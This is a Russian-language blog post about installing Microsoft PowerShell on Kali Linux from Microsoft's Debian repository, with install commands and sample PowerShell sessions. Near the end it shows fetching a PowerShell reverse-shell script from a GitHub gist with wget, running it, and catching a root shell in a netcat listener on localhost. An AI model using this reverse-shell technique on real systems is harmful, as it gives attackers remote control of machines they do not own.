//kalinux.info
Разное 462 просмотров

Установка PowerShell на Kali Linux

Установка PowerShell на Kali Linux

Возможно, вам уже известно, что вы можете безопасно добавлять внешние хранилища к своей установке Kali Linux, но вы можете не знать, что один из многих доступных в интернете репозиториев включает в себя один из Microsoft, который включает PowerShell. Репозиторий предназначен для Debian, но его пакеты прекрасно устанавливаются на Kali, как мы покажем в этом сообщении.

Установка пакета PowerShell в Kali

Начнем с установки необходимых зависимостей, большинство из которых уже должны быть установлены в вашей установке Kali по умолчанию.

apt update && apt -y install curl gnupg apt-transport-https

Затем нам нужно загрузить и добавить ключ GPG публичного репозитория, чтобы APT доверял пакетам и предупреждал вас о любых проблемах с сигнатурами пакетов.

curl https://packages.microsoft.com/keys/microsoft.asc | apt-key add -

С добавлением ключа GPG мы переходим к добавлению репозитория пакетов Microsoft в свой собственный файл списка пакетов в /etc/apt/sources.list.d/ и обновляем список доступных пакетов.

echo "deb [arch=amd64] https://packages.microsoft.com/repos/microsoft-debian-stretch-prod stretch main" > /etc/apt/sources.list.d/powershell.list
apt update

Наконец, мы переходим к установке пакета powershell.

apt -y install powershell

Запуск PowerShell

Когда установка пакета завершится, запуск pwsh запустит PowerShell, представив нам знакомое приглашение «PS».

root@kali:~# pwsh
PowerShell v6.1.0-preview.2
Copyright (c) Microsoft Corporation. All rights reserved.

https://aka.ms/pscore6-docs
Type 'help' to get help.

PS /root>

Если вы новичок в PowerShell, одна из первых вещей, которую вы, скорее всего, захотите сделать, это обновить встроенную справку, которая может быть выполнена при запуске командлета Update-Help. Это может занять некоторое время, но только на самом деле нужно запускать раз в редкое время.

PS /root> Update-Help                                                           
   Updating Help for module Microsoft.PowerShell.Utility                              
   Locating Help Content...

Как и следовало ожидать, вы не найдете всех команд, с которыми вы привыкли работать при использовании PowerShell в Windows, но все основные модули присутствуют, и код постоянно развивается и совершенствуется.

PS /root> Get-Process -Name gnome*                                              

 NPM(K)    PM(M)      WS(M)     CPU(s)      Id  SI ProcessName
 ------    -----      -----     ------      --  -- -----------
      0     0.00       5.71       0.03    1073 072 gnome-keyring-d
      0     0.00       9.80       0.19     659 649 gnome-session-b
      0     0.00      13.72       0.36    1089 080 gnome-session-b
      0     0.00     110.06       3.36     778 649 gnome-shell
      0     0.00     277.15      27.85    1170 080 gnome-shell
      0     0.00      11.77       0.09    1199 075 gnome-shell-cal
      0     0.00      77.79       4.58    1381 080 gnome-software
      0     0.00      36.58       2.03    1646 646 gnome-terminal-

Однако одна из удивительных вещей, которую вы можете сделать, - использовать PowerShell для отправки обратной оболочки в прослушиватель Netcat. Мы наткнулись на небольшую обратную оболочку PowerShell онлайн и, к нашему удивлению, счастливо связались с нашим слушателем.

root@kali:~# pwsh
PowerShell v6.1.0-preview.2
Copyright (c) Microsoft Corporation. All rights reserved.

https://aka.ms/pscore6-docs
Type 'help' to get help.

PS /root> wget -q https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1  
PS /root> ./mini-reverse.ps1                                                                                                                                    
────────────────────────────────────────────────────────────────────────────────
root@kali:~# nc -lvnp 413
listening on [any] 413 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 59006
id
uid=0(root) gid=0(root) groups=0(root)

uname -a
Linux kali 4.15.0-kali3-amd64 #1 SMP Debian 4.15.17-1kali1 (2018-04-25) x86_64 GNU/Linux

Мы считаем, что замечательно, что Microsoft не только открывал PowerShell с открытым исходным кодом, но и постоянно обновлял и улучшал ее, а также хранилище общедоступных пакетов, что делает установку легкой.